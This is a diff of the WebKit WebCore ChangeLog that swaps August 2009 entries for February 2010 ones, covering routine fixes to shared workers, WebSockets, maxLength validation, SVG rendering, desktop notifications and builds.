-        (WebCore::SharedWorkerProxy::matches):
-        Added manual equality function to replace old hash lookup.
-        (WebCore::SharedWorkerProxy::isDocumentInWorkerDocuments):
-        Checks to see if a document is in the worker's list of documents. Used to determine if page is suspendable.
-        (WebCore::SharedWorkerProxy::SharedWorkerProxy):
-        (WebCore::SharedWorkerProxy::addToWorkerDocuments):
-        Added tracking of the worker's list of documents for lifecycle purposes.
-        (WebCore::SharedWorkerProxy::documentDetached):
-        Shuts down the proxy when the last associated document is detached.
-        (WebCore::SharedWorkerProxy::close):
-        Marks the proxy as closed so it is no longer shared with new instances.
-        (WebCore::SharedWorkerProxy::workerContextDestroyed):
-        Removes the proxy from the repository/frees the proxy when the associated SharedWorkerContext is destroyed.
-        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
-        closing()->isClosing()
-        (WebCore::SharedWorkerRepository::documentDetached):
-        (WebCore::SharedWorkerRepository::hasSharedWorkers):
-        Used by FrameLoader to determine if a page has shared workers and so cannot be suspended/cached.
-        (WebCore::DefaultSharedWorkerRepository::hasSharedWorkers):
-        (WebCore::DefaultSharedWorkerRepository::removeProxy):
-        Invoked by workerContextDestroyed() to remove a SharedWorkerProxy from the repository.
-        (WebCore::DefaultSharedWorkerRepository::documentDetached):
-        (WebCore::DefaultSharedWorkerRepository::connectToWorker):
-        (WebCore::DefaultSharedWorkerRepository::getProxy):
-        * workers/DefaultSharedWorkerRepository.h:
-        * workers/SharedWorkerRepository.h:
-
-2009-08-11  Chris Fleizach  <cfleizach@apple.com>
+2010-02-11  Kent Tamura  <tkent@chromium.org>
 
         Reviewed by Darin Adler.
 
-        Bug 28200 - ListMarker should be included as part of the text value to parse
-        https://bugs.webkit.org/show_bug.cgi?id=28200
+        Fix two issues on maxLength.
+        https://bugs.webkit.org/show_bug.cgi?id=34783
 
-        When returning text through the marker range attributes, the list marker text should
-        also be included. It isn't included by default because a TextIterator is used which
-        only looks at Nodes for text. A list marker does not have a corresponding node,
-        so its text is not returned through accessibility. That is, until now.
+        - ValidityState.tooLong behavior was inconsistent with UIs of
+        <input> and <textarea>. tooLong checked Unicode code point length
+        though the UIs checks grapheme cluster length.
 
-        Test: platform/mac/accessibility/string-range-contains-listmarker.html
+        - Setting HTMLTextAreaElement::value didn't update the dirty flag.
 
-        * accessibility/AccessibilityObject.cpp:
-        (WebCore::AccessibilityObject::listMarkerTextForRange):
-        (WebCore::AccessibilityObject::stringForVisiblePositionRange):
-        * accessibility/AccessibilityObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper doAXAttributedStringForTextMarkerRange:]):
-        (-[AccessibilityObjectWrapper accessibilityParameterizedAttributeNames]):
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:forParameter:]):
-        * rendering/RenderListItem.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::tooLong): Use numGraphemeClusters() instead of length().
+        * html/HTMLTextAreaElement.cpp:
+          Rename setValue() to setNonDirtyValue(), and introduce setValue()
+          which calls setNonDirtyValue() and sets the dirty flag.
+        (WebCore::HTMLTextAreaElement::childrenChanged):
+        (WebCore::HTMLTextAreaElement::reset):
+        (WebCore::HTMLTextAreaElement::setValue):
+        (WebCore::HTMLTextAreaElement::setNonDirtyValue):
+        (WebCore::HTMLTextAreaElement::setDefaultValue):
+        (WebCore::HTMLTextAreaElement::tooLong): Use numGraphemeClusters() instead of length().
+        * html/HTMLTextAreaElement.h:
 
-        Make markerText() public so that accessibility code can access it.
+2010-02-11  Fumitoshi Ukai  <ukai@chromium.org>
 
-2009-08-11  Peter Kasting  <pkasting@google.com>
+        Reviewed by Alexey Proskuryakov.
 
-        Reviewed by Adam Treat.
+        WebSocket bufferedAmount should not be 0 when send after close.
+        https://bugs.webkit.org/show_bug.cgi?id=34633
 
-        https://bugs.webkit.org/show_bug.cgi?id=27965
-        Move cairo/ImageSourceCairo.cpp to ImageSource.cpp in preparation for
-        merging most of the other ImageSource*.cpp files with it.
+        Test: websocket/tests/bufferedAmount-after-close.html
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * platform/graphics/ImageSource.cpp: Copied from WebCore/platform/graphics/cairo/ImageSourceCairo.cpp.
-        * platform/graphics/cairo/ImageSourceCairo.cpp: Removed.
+        * websockets/ThreadableWebSocketChannelClientWrapper.h:
+        (WebCore::ThreadableWebSocketChannelClientWrapper::didClose):
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::WebSocket):
+        (WebCore::WebSocket::send):
+        (WebCore::WebSocket::close):
+        (WebCore::WebSocket::bufferedAmount):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didClose):
+        * websockets/WebSocket.h:
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::WebSocketChannel):
+        (WebCore::WebSocketChannel::send):
+        (WebCore::WebSocketChannel::bufferedAmount):
+        (WebCore::WebSocketChannel::didClose):
+        * websockets/WebSocketChannel.h:
+        * websockets/WebSocketChannelClient.h:
+        (WebCore::WebSocketChannelClient::didClose):
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        (WebCore::workerContextDidClose):
+        (WebCore::WorkerThreadableWebSocketChannel::Peer::didClose):
+        * websockets/WorkerThreadableWebSocketChannel.h:
 
-2009-08-10  Brent Fulgham  <bfulgham@webkit.org>
+2010-02-11  Fumitoshi Ukai  <ukai@chromium.org>
 
-        Reviewed by Adam Roben.
+        Reviewed by Alexey Proskuryakov.
 
-        Cairo-based Windows port does not handle the https protocol.
-        https://bugs.webkit.org/show_bug.cgi?id=28171.
+        WebSocket in Worker failed to close
+        https://bugs.webkit.org/show_bug.cgi?id=34785
 
-        No new tests needed.  Existing https tests show this failure
-        for WinCairo builds.
+        Tests: websocket/tests/workers/close-in-shared-worker.html
+               websocket/tests/workers/close-in-worker.html
 
-        * WebCore.vcproj/WebCoreCURL.vsprops: Add a few preprocessor
-          definitions for SSL support in cURL.
-        * platform/network/curl/ResourceHandleManager.h: Add new
-          certificate path member variable.
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::certificateBundlePath): New method to retrieve the
-          proper certificate resource bundle path.
-        (WebCore::ResourceHandleManager::initializeHandle): Check for
-          the resource bundle and use if available to activate SSL
-          support.
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        (WebCore::WorkerThreadableWebSocketChannel::close):
 
-2009-08-11  Maxime Simon  <simon.maxime@gmail.com>
+2010-02-11  Kwang Yul Seo  <skyul@company100.net>
 
         Reviewed by Eric Seidel.
 
-        [Haiku] Use Clipboard::create() instead of the constructor of Clipboard.
-        https://bugs.webkit.org/show_bug.cgi?id=28127
-
-        * editing/haiku/EditorHaiku.cpp:
-        (WebCore::Editor::newGeneralClipboard):
-        * page/haiku/EventHandlerHaiku.cpp:
-        (WebCore::EventHandler::passWheelEventToWidget):
-        (WebCore::EventHandler::createDraggingClipboard):
-        * platform/haiku/ClipboardHaiku.cpp: Style cleanup. There were many whitespace end of lines.
-        (WebCore::ClipboardHaiku::ClipboardHaiku):
-        (WebCore::ClipboardHaiku::clearAllData):
-        (WebCore::ClipboardHaiku::getData):
-        (WebCore::ClipboardHaiku::setData):
-        (WebCore::ClipboardHaiku::types):
-        (WebCore::ClipboardHaiku::dragLocation):
-        (WebCore::ClipboardHaiku::dragImage):
-        (WebCore::ClipboardHaiku::setDragImage):
-        (WebCore::ClipboardHaiku::dragImageElement):
-        (WebCore::ClipboardHaiku::createDragImage):
-        (WebCore::ClipboardHaiku::declareAndWriteDragImage):
-        (WebCore::ClipboardHaiku::writeURL):
-        (WebCore::ClipboardHaiku::writeRange):
-        (WebCore::ClipboardHaiku::hasData):
-        * platform/haiku/DragDataHaiku.cpp:
-        (WebCore::DragData::createClipboard):
-
-2009-08-11  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by NOBODY (build break).
-
-        Speculative GTK build fix
-
-        * GNUmakefile.am:
-        Added missing .idl file, and added notifications directory to IDL_PATH.
-
-2009-08-11  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by NOBODY (build break).
-
-        Speculative Windows build fix
-
-        * WebCore.vcproj/WebCore.vcproj:
-        Added missing build steps for non-debug targets.
-
-2009-08-11  Drew Wilson <atwilson@google.com>
-
-        Reviewed by NOBODY (build break)
-
-        Speculative build fix for Qt build.
-
-        * WebCore.pro: Added /notifications to include path
-
-2009-08-11  John Gregg  <johnnyg@google.com>
-
-        Reviewed by Maciej Stachowiak.
-
-        Desktop Notifications API
-        https://bugs.webkit.org/show_bug.cgi?id=25463
-
-        Adds an implementation of desktop notifications, behind the compile-time
-        flag ENABLE(NOTIFICATIONS).  This code simply relays calls on the JavaScript
-        API through a NotificationProvider interface, which must provide the services
-        to actually notify the user and manage the desktop.  This provider is injected
-        into WebKit through the ChromeClient for normal page contexts and through the
-        WorkerThread for worker contexts.
-
-        A permissions API is defined on a per-origin basis, which allows a web page
-        to check if its origin is allowed to show desktop notifications, and to request
-        permission for its origin.
-
-        * Configurations/FeatureDefines.xcconfig:
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        * bindings/js/JSDesktopNotificationsCustom.cpp: Added.
-        (WebCore::JSNotificationCenter::requestPermission):
-        (WebCore::JSNotification::addEventListener):
-        (WebCore::JSNotification::removeEventListener):
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        (WebCore::toEventTarget):
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toNotification):
-        * dom/EventTarget.h:
-        * loader/EmptyClients.h:
-        (WebCore::EmptyChromeClient::notificationPresenter):
-        * notifications: Added.
-        * notifications/Notification.cpp: Added.
-        (WebCore::Notification::Notification):
-        (WebCore::Notification::~Notification):
-        (WebCore::Notification::show):
-        (WebCore::Notification::cancel):
-        (WebCore::Notification::ondisplay):
-        (WebCore::Notification::setOndisplay):
-        (WebCore::Notification::onerror):
-        (WebCore::Notification::setOnerror):
-        (WebCore::Notification::onclose):
-        (WebCore::Notification::setOnclose):
-        (WebCore::Notification::getAttributeEventListener):
-        (WebCore::Notification::setAttributeEventListener):
-        (WebCore::Notification::clearAttributeEventListener):
-        (WebCore::Notification::dispatchDisplayEvent):
-        (WebCore::Notification::dispatchErrorEvent):
-        (WebCore::Notification::dispatchCloseEvent):
-        (WebCore::Notification::addEventListener):
-        (WebCore::Notification::removeEventListener):
-        (WebCore::Notification::handleEvent):
-        (WebCore::Notification::dispatchEvent):
-        * notifications/Notification.h: Added.
-        (WebCore::Notification::create):
-        (WebCore::Notification::isHTML):
-        (WebCore::Notification::url):
-        (WebCore::Notification::contents):
-        (WebCore::Notification::scriptExecutionContext):
-        (WebCore::Notification::toNotification):
-        (WebCore::Notification::refEventTarget):
-        (WebCore::Notification::derefEventTarget):
-        * notifications/Notification.idl: Added.
-        * notifications/NotificationCenter.cpp: Added.
-        (WebCore::NotificationCenter::NotificationCenter):
-        (WebCore::NotificationCenter::checkPermission):
-        (WebCore::NotificationCenter::requestPermission):
-        * notifications/NotificationCenter.h: Added.
-        (WebCore::NotificationCenter::create):
-        (WebCore::NotificationCenter::createHTMLNotification):
-        (WebCore::NotificationCenter::createNotification):
-        (WebCore::NotificationCenter::context):
-        (WebCore::NotificationCenter::presenter):
-        * notifications/NotificationCenter.idl: Added.
-        * notifications/NotificationContents.h: Added.
-        (WebCore::NotificationContents::NotificationContents):
-        (WebCore::NotificationContents::icon):
-        (WebCore::NotificationContents::title):
-        (WebCore::NotificationContents::body):
-        * notifications/NotificationPresenter.h: Added.
-        (WebCore::NotificationPresenter::):
-        (WebCore::NotificationPresenter::~NotificationPresenter):
-        * page/Chrome.cpp:
-        (WebCore::Chrome::notificationPresenter):
-        * page/Chrome.h:
-        * page/ChromeClient.h:
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::clear):
-        (WebCore::DOMWindow::webkitNotifications):
-        * page/DOMWindow.h:
-        * page/DOMWindow.idl:
-        * page/Page.h:
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::~WorkerContext):
-        (WebCore::WorkerContext::webkitNotifications):
-        * workers/WorkerContext.h:
-        * workers/WorkerContext.idl:
-        * workers/WorkerThread.h:
-        (WebCore::WorkerThread::getNotificationPresenter):
-        (WebCore::WorkerThread::setNotificationPresenter):
-
-2009-08-11  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Console Drawer is Toggling instead of Staying Open
-        https://bugs.webkit.org/show_bug.cgi?id=28115
+        [BREWMP] Add dummy Cursor
+        https://bugs.webkit.org/show_bug.cgi?id=34672
 
-        * inspector/front-end/Drawer.js:
-        (WebInspector.Drawer.prototype.showView): ensures the drawer will be open and showing the provided view
-        * inspector/front-end/inspector.js:
-        (WebInspector.showConsole): usees the new showView to guarantee the Drawer will be open
-        (WebInspector.showChanges): uses the new showView guarantee the Drawer will be open
+        * platform/brew/CursorBrew.cpp: Added.
+        (WebCore::Cursor::Cursor):
+        (WebCore::Cursor::~Cursor):
+        (WebCore::Cursor::operator=):
+        (WebCore::dummyCursor):
+        (WebCore::pointerCursor):
+        (WebCore::crossCursor):
+        (WebCore::handCursor):
+        (WebCore::moveCursor):
+        (WebCore::iBeamCursor):
+        (WebCore::waitCursor):
+        (WebCore::helpCursor):
+        (WebCore::eastResizeCursor):
+        (WebCore::northResizeCursor):
+        (WebCore::northEastResizeCursor):
+        (WebCore::northWestResizeCursor):
+        (WebCore::southResizeCursor):
+        (WebCore::southEastResizeCursor):
+        (WebCore::southWestResizeCursor):
+        (WebCore::westResizeCursor):
+        (WebCore::northSouthResizeCursor):
+        (WebCore::eastWestResizeCursor):
+        (WebCore::northEastSouthWestResizeCursor):
+        (WebCore::northWestSouthEastResizeCursor):
+        (WebCore::columnResizeCursor):
+        (WebCore::rowResizeCursor):
+        (WebCore::verticalTextCursor):
+        (WebCore::cellCursor):
+        (WebCore::contextMenuCursor):
+        (WebCore::noDropCursor):
+        (WebCore::copyCursor):
+        (WebCore::progressCursor):
+        (WebCore::aliasCursor):
+        (WebCore::noneCursor):
+        (WebCore::notAllowedCursor):
+        (WebCore::zoomInCursor):
+        (WebCore::zoomOutCursor):
+        (WebCore::middlePanningCursor):
+        (WebCore::eastPanningCursor):
+        (WebCore::northPanningCursor):
+        (WebCore::northEastPanningCursor):
+        (WebCore::northWestPanningCursor):
+        (WebCore::southPanningCursor):
+        (WebCore::southEastPanningCursor):
+        (WebCore::southWestPanningCursor):
+        (WebCore::westPanningCursor):
+        (WebCore::grabCursor):
+        (WebCore::grabbingCursor):
 
-2009-08-11  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+2010-02-11  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by George Staikos.
+        Reviewed by Dimitri Glazkov.
 
-        [WML] WMLPageState is not allowed to store the active card, it needs to be done per document
-        https://bugs.webkit.org/show_bug.cgi?id=28180
-
-        Don't store the active WMLCardElement in WMLPageState, but in WMLDocument.
-        Otherwhise this may lead to crashes related to intrinsic event exeuction.
-
-        Unfortunately select elements aren't testable by the layout tests, so adding
-        a new manual test reproducing the crash.
-
-        * manual-tests/wml/select-onpick-event-crash.wml: Added.
-        * wml/WMLCardElement.cpp:
-        (WebCore::WMLCardElement::determineActiveCard):
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::defaultEventHandler):
-        * wml/WMLDocument.cpp:
-        (WebCore::WMLDocument::finishedParsing):
-        * wml/WMLDocument.h:
-        (WebCore::WMLDocument::activeCard):
-        * wml/WMLGoElement.cpp:
-        (WebCore::WMLGoElement::executeTask):
-        * wml/WMLPageState.cpp:
-        (WebCore::WMLPageState::WMLPageState):
-        * wml/WMLPageState.h:
-        * wml/WMLPrevElement.cpp:
-        (WebCore::WMLPrevElement::executeTask):
-        * wml/WMLRefreshElement.cpp:
-        (WebCore::WMLRefreshElement::executeTask):
-
-2009-08-07  Peter Kasting  <pkasting@google.com>
+        [V8] Add back in a fast path for v8 object wrapping
+        when it's not possible we're in a WorkerContext (the fast
+        path is important for performance).
 
-        Reviewed by Eric Seidel.
+        https://bugs.webkit.org/show_bug.cgi?id=34805
 
-        https://bugs.webkit.org/show_bug.cgi?id=28073
-        Treat icons with no bit count and no color count as 256-color for
-        purposes of quality ranking.  Also fix a couple cases of a style
-        violation.
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8ObjectInWorkerContext):
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        * bindings/v8/V8DOMWrapper.h:
 
-        Test: fast/images/icon-0colors.html
+2010-02-11  Nikolas Zimmermann  <nzimmermann@rim.com>
 
-        * platform/image-decoders/ico/ICOImageDecoder.cpp:
-        (WebCore::ICOImageDecoder::processDirectory):
-        (WebCore::ICOImageDecoder::readDirectoryEntry):
+        Reviewed by Dirk Schulze.
 
-2009-08-11  Drew Wilson  <atwilson@google.com>
+        Small cleanups in SVG render tree code.
+        Centralize calls to inflateShadow(), in SVGRenderSupport::computeRectForRepaint,
+        instead of spreading them around the subclasses. All classes should inherit
+        protected from SVGRenderBase, made it consistent.
+        
+        Doesn't affect layout tests.
 
-        Reviewed by David Levin.
+        * rendering/RenderSVGImage.cpp:
+        (WebCore::RenderSVGImage::computeRectForRepaint):
+        * rendering/RenderSVGImage.h:
+        * rendering/RenderSVGModelObject.cpp:
+        (WebCore::RenderSVGModelObject::computeRectForRepaint):
+        * rendering/RenderSVGRoot.h:
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::computeRectForRepaint):
+        (WebCore::RenderSVGText::layout):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::computeRectForRepaint):
+        * rendering/SVGRootInlineBox.h:
 
-        Need to refactor WorkerObjectProxy.
-        https://bugs.webkit.org/show_bug.cgi?id=28136
+2010-02-11  David Hyatt  <hyatt@apple.com>
 
-        Added WorkerReportingProxy for reporting worker state (exceptions, console messages, thread exited) to the parent.
+        Reviewed by Dan Bernstein.
 
-        Existing tests are sufficient, as this is only a refactoring.
+        https://bugs.webkit.org/show_bug.cgi?id=34857
+        Move InlineIterator and BidiRun into new files so subclasses can access them.
 
         * GNUmakefile.am:
-        Added WorkerReportingProxy.h to build.
         * WebCore.gypi:
-        Added WorkerReportingProxy.h to build.
+        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
-        Added WorkerReportingProxy.h to build.
         * WebCore.xcodeproj/project.pbxproj:
-        Added WorkerReportingProxy.h to build.
-        * workers/DedicatedWorkerContext.cpp:
-        * workers/DedicatedWorkerContext.h:
-        Removed addMessage/forwardException() APIs - now handled by WorkerReportingProxy.
-        * workers/DedicatedWorkerThread.cpp:
-        (WebCore::DedicatedWorkerThread::DedicatedWorkerThread):
-        Changed constructor to pass WorkerReportingProxy to base class.
-        * workers/DefaultSharedWorkerRepository.cpp:
-        Updated SharedWorkerProxy to implement WorkerReportingProxy interface.
-        (WebCore::SharedWorkerProxy::postExceptionToWorkerObject):
-        (WebCore::SharedWorkerProxy::postConsoleMessageToWorkerObject):
-        (WebCore::SharedWorkerProxy::workerContextClosed):
-        (WebCore::SharedWorkerProxy::workerContextDestroyed):
-        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
-        Now passes in WorkerReportingProxy when creating SharedWorkerThread.
-        * workers/SharedWorkerContext.cpp:
-        * workers/SharedWorkerContext.h:
-        Removed addMessage/forwardException() APIs - now handled by WorkerReportingProxy.
-        * workers/SharedWorkerThread.cpp:
-        (WebCore::SharedWorkerThread::create):
-        (WebCore::SharedWorkerThread::SharedWorkerThread):
-        Passes WorkerReportingProxy to base class constructor.
-        * workers/SharedWorkerThread.h:
-        Constructor now takes a WorkerReportingProxy.
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::~WorkerContext):
-        Moved code that calls workerContextDestroyed() into base class so shared workers share this functionality.
-        (WebCore::WorkerContext::close):
-        Now notifies WorkerReportingProxy when the thread is closing.
-        (WebCore::WorkerContext::reportException):
-        Reports exceptions via WorkerReportingProxy.
-        (WebCore::WorkerContext::addMessage):
-        Reports console messages via WorkerReportingProxy.
-        * workers/WorkerContext.h:
-        * workers/WorkerObjectProxy.h:
-        (WebCore::WorkerObjectProxy::workerContextClosed):
-        Default empty implementation for dedicated workers.
-        * workers/WorkerReportingProxy.h: Added.
-        Base interface that contains APIs moved from WorkerObjectProxy.
-        (WebCore::WorkerReportingProxy::~WorkerReportingProxy):
-        * workers/WorkerThread.cpp:
-        (WebCore::WorkerThread::WorkerThread):
-        Updated constructor to accept a WorkerReportingProxy.
-        * workers/WorkerThread.h:
-        (WebCore::WorkerThread::workerReportingProxy):
-
-2009-08-11  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by NOBODY (build fix).
-
-        Fix the Qt build after r47022.
-
-        Use the new markChildren() pattern for marking aggregate/child objects.
-
-        * bridge/qt/qt_instance.cpp:
-        (JSC::Bindings::QtRuntimeObjectImp::markChildren):
-        (JSC::Bindings::QtInstance::markAggregate):
-        * bridge/qt/qt_instance.h:
-        * bridge/qt/qt_runtime.cpp:
-        (JSC::Bindings::QtRuntimeMetaMethod::markChildren):
-        * bridge/qt/qt_runtime.h:
-
-2009-08-11  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        Fix the build on the Qt build bot by making the generated JS bindings
-        files depend on the code generator itself.
-
-        * WebCore.pro:
-
-2009-08-07  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Sam Weinig
-
-        Stack overflow crash in JavaScript garbage collector mark pass
-        https://bugs.webkit.org/show_bug.cgi?id=12216
-
-        Make WebCore use the new iterative marking logic.
-
-        Tests: fast/js/nested-object-gc.html
-
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::markChildren):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::markChildren):
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::markDOMNodesForDocument):
-        (WebCore::markActiveObjectsForContext):
-        (WebCore::markDOMObjectWrapper):
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObjectWithGlobalPointer::markChildren):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::markChildren):
-        * bindings/js/JSDOMGlobalObject.h:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::markChildren):
-        * bindings/js/JSDOMWindowShell.cpp:
-        (WebCore::JSDOMWindowShell::markChildren):
-        * bindings/js/JSDOMWindowShell.h:
-        * bindings/js/JSDedicatedWorkerContextCustom.cpp:
-        (WebCore::JSDedicatedWorkerContext::markChildren):
-        * bindings/js/JSDocumentCustom.cpp:
-        (WebCore::JSDocument::markChildren):
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::markJSFunction):
-        * bindings/js/JSEventListener.h:
-        * bindings/js/JSMessageChannelCustom.cpp:
-        (WebCore::JSMessageChannel::markChildren):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::markChildren):
-        * bindings/js/JSNavigatorCustom.cpp:
-        (WebCore::JSNavigator::markChildren):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::markChildren):
-        * bindings/js/JSNodeFilterCondition.cpp:
-        (WebCore::JSNodeFilterCondition::markAggregate):
-        * bindings/js/JSNodeFilterCondition.h:
-        * bindings/js/JSNodeFilterCustom.cpp:
-        (WebCore::JSNodeFilter::markChildren):
-        * bindings/js/JSNodeIteratorCustom.cpp:
-        (WebCore::JSNodeIterator::markChildren):
-        * bindings/js/JSQuarantinedObjectWrapper.cpp:
-        (WebCore::JSQuarantinedObjectWrapper::markChildren):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::markChildren):
-        * bindings/js/JSSharedWorkerCustom.cpp:
-        (WebCore::JSSharedWorker::markChildren):
-        * bindings/js/JSStyleSheetCustom.cpp:
-        (WebCore::JSStyleSheet::markChildren):
-        * bindings/js/JSTreeWalkerCustom.cpp:
-        (WebCore::JSTreeWalker::markChildren):
-        * bindings/js/JSWebSocketCustom.cpp:
-        (WebCore::JSWebSocket::markChildren):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::markChildren):
-        * bindings/js/JSWorkerCustom.cpp:
-        (WebCore::JSWorker::markChildren):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::markChildren):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::markChildren):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * dom/EventListener.h:
-        (WebCore::EventListener::markJSFunction):
-        (WebCore::markIfNotNull):
-        * dom/NodeFilter.h:
-        (WebCore::NodeFilter::markAggregate):
-        * dom/NodeFilterCondition.h:
-        (WebCore::NodeFilterCondition::markAggregate):
-        * dom/RegisteredEventListener.h:
-        (WebCore::markEventListeners):
-        * page/DOMWindow.h:
-        * workers/WorkerContext.h:
-
-2009-08-10  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Renamed all V8 NPN_ functions to _NPN_ to match JSC and make them "private".
-        https://bugs.webkit.org/show_bug.cgi?id=28089
-
-        Rename all the NPN_foo functions to _NPN_foo so that they can't directly be
-        called by mistake.  This roughly matches the way JSC does it, which is an
-        additional advantage.
-
-        * bindings/v8/NPV8Object.cpp:
-        (npCreateV8ScriptObject):
-        (_NPN_Invoke):
-        (_NPN_InvokeDefault):
-        (_NPN_Evaluate):
-        (_NPN_EvaluateHelper):
-        (_NPN_GetProperty):
-        (_NPN_SetProperty):
-        (_NPN_RemoveProperty):
-        (_NPN_HasProperty):
-        (_NPN_HasMethod):
-        (_NPN_SetException):
-        (_NPN_Enumerate):
-        (_NPN_Construct):
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::clearScriptObjects):
-        (WebCore::ScriptController::createScriptInstanceForWidget):
-        (WebCore::ScriptController::cleanupScriptObjectsForPlugin):
-        * bindings/v8/V8NPObject.cpp:
-        (npObjectInvokeImpl):
-        (npObjectGetProperty):
-        (npObjectIndexedPropertyGetter):
-        (npObjectGetIndexedProperty):
-        (npObjectSetProperty):
-        (npObjectIndexedPropertySetter):
-        (npObjectSetIndexedProperty):
-        (weakNPObjectCallback):
-        (createV8ObjectForNPObject):
-        (forgetV8ObjectForNPObject):
-        * bindings/v8/V8NPUtils.cpp:
-        (getStringIdentifier):
-        * bindings/v8/npruntime.cpp:
-        * bindings/v8/npruntime_impl.h:
-
-2009-08-10  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Brady Eidson.
-
-        Change ___Storage.key() to match current spec behavior.
-        https://bugs.webkit.org/show_bug.cgi?id=28112
-
-        The current WebStorage spec says that ___Storage.key() should return null when
-        the index is out of bounds, rather than an exception.  A bunch of logic can be
-        simplified after this change.
-
-        * bindings/js/JSStorageCustom.cpp:
-        (WebCore::JSStorage::getPropertyNames):
-        * bindings/v8/custom/V8StorageCustom.cpp:
-        (WebCore::V8Custom::v8StorageNamedPropertyEnumerator):
-        * storage/Storage.cpp:
-        (WebCore::Storage::key):
-        * storage/Storage.h:
-        * storage/Storage.idl:
-        * storage/StorageArea.h:
-        * storage/StorageAreaImpl.cpp:
-        (WebCore::StorageAreaImpl::key):
-        * storage/StorageAreaImpl.h:
-        * storage/StorageMap.cpp:
-        (WebCore::StorageMap::key):
-        * storage/StorageMap.h:
-
-2009-08-07  Michael Nordman  <michaeln@google.com>
-
-        Reviewed by Darin Fisher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28087
-
-        Mods for a chrome specific impl of ApplicationCacheHost.
-
-        * The public section of the interface is the same, but we use
-        PLATFORM(CHROMIUM) to identify which parts of the private
-        section are shared. The chrome specific internals are encapsulated
-        in a seperate ApplicationCacheHostInternal class. WebCore common
-        code only contains a forward reference to this class.
-
-        * Cleanup a couple of stale comments.
-
-        * Have window.applicationCache return null to script when the
-        feature is disabled in the preferences.
-        
-        No new tests.
-
-        * loader/appcache/ApplicationCacheHost.cpp:
-        * loader/appcache/ApplicationCacheHost.h:
-        (WebCore::ApplicationCacheHost::documentLoader):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::applicationCache):
-
-2009-08-10  Crystal Zhang  <crystal.zhang@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        Implement GraphicsContext::fillRoundRect() for WINCE port
-        https://bugs.webkit.org/show_bug.cgi?id=27842
-
-        * platform/graphics/GraphicsContext.h:
-        * platform/graphics/wince/GraphicsContextWince.cpp:
-        (WebCore::rectCenterPoint):
-        (WebCore::GraphicsContext::fillRoundedRect):
-        (WebCore::GraphicsContext::drawRoundCorner):
-
-2009-08-10  Anthony Ricaud  <rik@webkit.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector Resources / Graphs should support filtering
-        https://bugs.webkit.org/show_bug.cgi?id=20629
-
-        Introduces a filter bar for resources.
-
-        Thanks to Matt Lilek for the CSS scope bar.
-
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.createFilterElement):
-        (WebInspector.ResourcesPanel):
